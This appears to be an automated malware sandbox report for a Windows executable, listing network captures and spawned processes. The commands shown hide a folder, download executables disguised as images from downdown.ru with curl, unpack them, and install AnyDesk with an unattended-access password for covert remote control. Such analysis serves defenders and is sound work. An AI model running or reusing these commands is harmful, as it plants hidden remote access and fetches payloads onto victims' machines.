2025-01-11 06:55:22 UTC	10329	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 31 31 54 30 36 3a 35 35 3a 32 31 2e 33 34 31 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 37 39 63 65 31 39 66 34 2d 35 64 39 37 2d 34 65 37 39 2d 62 64 65 37 2d 38 36 36 37 38 64 66 30 33 65 36 38 22 2c 22 65 70 6f 63 68 22 3a 22 37 30 39 36 32 34 36 30 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2025-01-11T06:55:21.341Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":22,"installId":"79ce19f4-5d97-4e79-bde7-86678df03e68","epoch":"709624609"},"app":{"loc
2025-01-11 06:55:22 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=1f2d009ac046477489b0a1c52b7c61ef&HASH=1f2d&LV=202501&V=4&LU=1736578522399; Domain=.microsoft.com; Expires=Sun, 11 Jan 2026 06:55:22 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=06191ec969c548de96dcb3936e01743a; Domain=.microsoft.com; Expires=Sat, 11 Jan 2025 07:25:22 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1057 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 11 Jan 2025 06:55:21 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.11.20	58604	23.33.85.243	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:55:32 UTC	419	OUT	OPTIONS /api/report?cat=msn HTTP/1.1 Host: deff.nelreports.net Connection: keep-alive Origin: https://assets.msn.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 06:55:33 UTC	334	IN	HTTP/1.1 200 OK Content-Length: 0 Server: Kestrel Date: Sat, 11 Jan 2025 06:55:32 GMT Connection: close PMUSER_FORMAT_QS: X-CDN-TraceId: 0.f5542117.1736578532.121a31bc Access-Control-Allow-Headers: * Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *

Target ID:	0
Start time:	01:53:39
Start date:	11/01/2025
Path:	C:\Users\user\Desktop\Yv24LkKBY6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Yv24LkKBY6.exe"
Imagebase:	0x400000
File size:	956'256 bytes
MD5 hash:	F0ABA799546B1CE04037793579DE3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:53:39
Start date:	11/01/2025
Path:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Intel\ 131.pdf"
Imagebase:	0x180000
File size:	3'014'368 bytes
MD5 hash:	6791EAE6124B58F201B32F1F6C3EC1B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	01:53:39
Start date:	11/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>C:\Intel\rezet.cmd cd C:\Intel\
Imagebase:	0x8b0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:53:40
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff71c380000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:53:40
Start date:	11/01/2025
Path:	C:\Windows\SysWOW64\attrib.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\attrib.exe" +s +h C:\Intel
Imagebase:	0x940000
File size:	19'456 bytes
MD5 hash:	0E938DD280E83B1596EC6AA48729C2B0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	01:53:40
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff71c380000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:53:40
Start date:	11/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd ping -n 6 127.0.0.1
Imagebase:	0x8b0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:53:40
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff71c380000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	01:53:40
Start date:	11/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\driver.exe http://downdown.ru/driver.jpg
Imagebase:	0x8b0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	01:53:40
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff71c380000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	01:53:40
Start date:	11/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\blat.exe http://downdown.ru/blat.jpg
Imagebase:	0x8b0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	01:53:40
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff71c380000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	01:53:40
Start date:	11/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\svchost.exe http://downdown.ru/svchost.jpg
Imagebase:	0x8b0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	01:53:40
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff71c380000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	01:53:40
Start date:	11/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\Trays.rar http://downdown.ru/Trays.jpg
Imagebase:	0x8b0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	01:53:40
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff71c380000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	01:53:41
Start date:	11/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\AnyDesk\wol.ps1 http://downdown.ru/wol.jpg
Imagebase:	0x8b0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	01:53:41
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff71c380000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	01:53:41
Start date:	11/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\dc.exe http://downdown.ru/dc.jpg
Imagebase:	0x8b0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	01:53:41
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff71c380000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	01:53:41
Start date:	11/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\driver.exe x -r -ep2 -hplimpid2903392 C:\Intel\Trays.rar C:\Intel\ /y
Imagebase:	0x8b0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	01:53:41
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff71c380000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	01:53:41
Start date:	11/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd start C:\Intel\Trays\Trays.lnk
Imagebase:	0x8b0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	01:53:41
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff71c380000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	01:53:41
Start date:	11/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd svchost.exe --install C:\Intel\AnyDesk
Imagebase:	0x8b0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	01:53:41
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff71c380000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	01:53:41
Start date:	11/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\AnyDesk\bat.bat http://downdown.ru/bat.jpg
Imagebase:	0x8b0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	01:53:41
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff71c380000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	01:53:41
Start date:	11/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\AnyDesk\bat.lnk
Imagebase:	0x8b0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	01:53:41
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff71c380000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	01:53:41
Start date:	11/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Intel\rezet.cmd" "
Imagebase:	0x8b0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	01:53:41
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff71c380000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	01:53:41
Start date:	11/01/2025
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping -n 6 127.0.0.1
Imagebase:	0xb00000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	01:53:47
Start date:	11/01/2025
Path:	C:\Intel\curl.exe
Wow64 process (32bit):	true
Commandline:	C:\Intel\curl.exe -o C:\Intel\driver.exe http://downdown.ru/driver.jpg
Imagebase:	0x1c0000
File size:	1'793'024 bytes
MD5 hash:	9542F4AC0CAEFA766BD67BA879ED2DD4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	01:53:49
Start date:	11/01/2025
Path:	C:\Intel\curl.exe
Wow64 process (32bit):	true
Commandline:	C:\Intel\curl.exe -o C:\Intel\blat.exe http://downdown.ru/blat.jpg
Imagebase:	0x1c0000
File size:	1'793'024 bytes
MD5 hash:	9542F4AC0CAEFA766BD67BA879ED2DD4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	01:53:51
Start date:	11/01/2025
Path:	C:\Intel\curl.exe
Wow64 process (32bit):	true
Commandline:	C:\Intel\curl.exe -o C:\Intel\svchost.exe http://downdown.ru/svchost.jpg
Imagebase:	0x1c0000
File size:	1'793'024 bytes
MD5 hash:	9542F4AC0CAEFA766BD67BA879ED2DD4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	01:53:54
Start date:	11/01/2025
Path:	C:\Intel\curl.exe
Wow64 process (32bit):	true
Commandline:	C:\Intel\curl.exe -o C:\Intel\Trays.rar http://downdown.ru/Trays.jpg
Imagebase:	0x1c0000
File size:	1'793'024 bytes
MD5 hash:	9542F4AC0CAEFA766BD67BA879ED2DD4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	01:53:56
Start date:	11/01/2025
Path:	C:\Intel\curl.exe
Wow64 process (32bit):	true
Commandline:	C:\Intel\curl.exe -o C:\Intel\AnyDesk\wol.ps1 http://downdown.ru/wol.jpg
Imagebase:	0x1c0000
File size:	1'793'024 bytes
MD5 hash:	9542F4AC0CAEFA766BD67BA879ED2DD4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	01:53:57
Start date:	11/01/2025
Path:	C:\Intel\curl.exe
Wow64 process (32bit):	true
Commandline:	C:\Intel\curl.exe -o C:\Intel\dc.exe http://downdown.ru/dc.jpg
Imagebase:	0x1c0000
File size:	1'793'024 bytes
MD5 hash:	9542F4AC0CAEFA766BD67BA879ED2DD4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	01:54:00
Start date:	11/01/2025
Path:	C:\Intel\driver.exe
Wow64 process (32bit):	true
Commandline:	C:\Intel\driver.exe x -r -ep2 -hplimpid2903392 C:\Intel\Trays.rar C:\Intel\ /y
Imagebase:	0x400000
File size:	300'032 bytes
MD5 hash:	29086D9247FDF40452563C11B3DCA394
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	01:54:01
Start date:	11/01/2025
Path:	C:\Intel\Trays\Trays.exe
Wow64 process (32bit):	true
Commandline:	"C:\Intel\Trays\Trays.exe" -tray
Imagebase:	0x400000
File size:	2'019'840 bytes
MD5 hash:	90D208B856DEA18596D57FFB1DD3A867
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 4%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	01:54:01
Start date:	11/01/2025
Path:	C:\Intel\svchost.exe
Wow64 process (32bit):	true
Commandline:	svchost.exe --install C:\Intel\AnyDesk
Imagebase:	0x400000
File size:	5'331'456 bytes
MD5 hash:	39F35F94DB3D8CD6B2811D1A5C4E5BDA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 100%, Avira Detection: 50%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	01:54:02
Start date:	11/01/2025
Path:	C:\Intel\Trays\4t-min64.exe
Wow64 process (32bit):	false
Commandline:	"C:\Intel\Trays\4t-min64.exe" "C:\Intel\Trays\ShellEh6055x64.dll"
Imagebase:	0x400000
File size:	275'968 bytes
MD5 hash:	7BC3AEEDC18717D796F1C7FF8DBF0C17
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	01:54:02
Start date:	11/01/2025
Path:	C:\Intel\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Intel\svchost.exe" --local-service
Imagebase:	0x400000
File size:	5'331'456 bytes
MD5 hash:	39F35F94DB3D8CD6B2811D1A5C4E5BDA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	01:54:03
Start date:	11/01/2025
Path:	C:\Intel\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Intel\svchost.exe" --local-control
Imagebase:	0x400000
File size:	5'331'456 bytes
MD5 hash:	39F35F94DB3D8CD6B2811D1A5C4E5BDA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	01:54:07
Start date:	11/01/2025
Path:	C:\Intel\AnyDesk\AnyDesk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Intel\AnyDesk\AnyDesk.exe" --service
Imagebase:	0x400000
File size:	5'331'456 bytes
MD5 hash:	39F35F94DB3D8CD6B2811D1A5C4E5BDA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 50%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	01:54:10
Start date:	11/01/2025
Path:	C:\Intel\AnyDesk\AnyDesk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Intel\AnyDesk\AnyDesk.exe" --control
Imagebase:	0x400000
File size:	5'331'456 bytes
MD5 hash:	39F35F94DB3D8CD6B2811D1A5C4E5BDA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	01:54:10
Start date:	11/01/2025
Path:	C:\Intel\AnyDesk\AnyDesk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Intel\AnyDesk\AnyDesk.exe" --new-install
Imagebase:	0x400000
File size:	5'331'456 bytes
MD5 hash:	39F35F94DB3D8CD6B2811D1A5C4E5BDA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	01:54:12
Start date:	11/01/2025
Path:	C:\Intel\curl.exe
Wow64 process (32bit):	true
Commandline:	C:\Intel\curl.exe -o C:\Intel\AnyDesk\bat.bat http://downdown.ru/bat.jpg
Imagebase:	0x1c0000
File size:	1'793'024 bytes
MD5 hash:	9542F4AC0CAEFA766BD67BA879ED2DD4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	01:54:13
Start date:	11/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Intel\AnyDesk\bat.bat" "
Imagebase:	0x8b0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	52
Start time:	01:54:13
Start date:	11/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /S /D /c" echo QWERTY1234566 "
Imagebase:	0x8b0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	01:54:13
Start date:	11/01/2025
Path:	C:\Intel\AnyDesk\AnyDesk.exe
Wow64 process (32bit):	true
Commandline:	AnyDesk.exe --set-password _unattended_access
Imagebase:	0x400000
File size:	5'331'456 bytes
MD5 hash:	39F35F94DB3D8CD6B2811D1A5C4E5BDA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	01:54:13
Start date:	11/01/2025
Path:	C:\Intel\AnyDesk\AnyDesk.exe
Wow64 process (32bit):	true
Commandline:	"C:\Intel\AnyDesk\AnyDesk.exe" --crash-handler
Imagebase:	0x400000
File size:	5'331'456 bytes
MD5 hash:	39F35F94DB3D8CD6B2811D1A5C4E5BDA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Has exited:	false

Show Windows behavior

Target ID:	55
Start time:	01:54:15
Start date:	11/01/2025
Path:	C:\Intel\dc.exe
Wow64 process (32bit):	true
Commandline:	C:\Intel\dc.exe /D
Imagebase:	0x400000
File size:	831'888 bytes
MD5 hash:	139464919440E93E49C80CC890B90585
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 50%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	01:54:16
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
Imagebase:	0x7ff644650000
File size:	57'360 bytes
MD5 hash:	F586835082F632DC8D9404D83BC16316
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	01:54:16
Start date:	11/01/2025
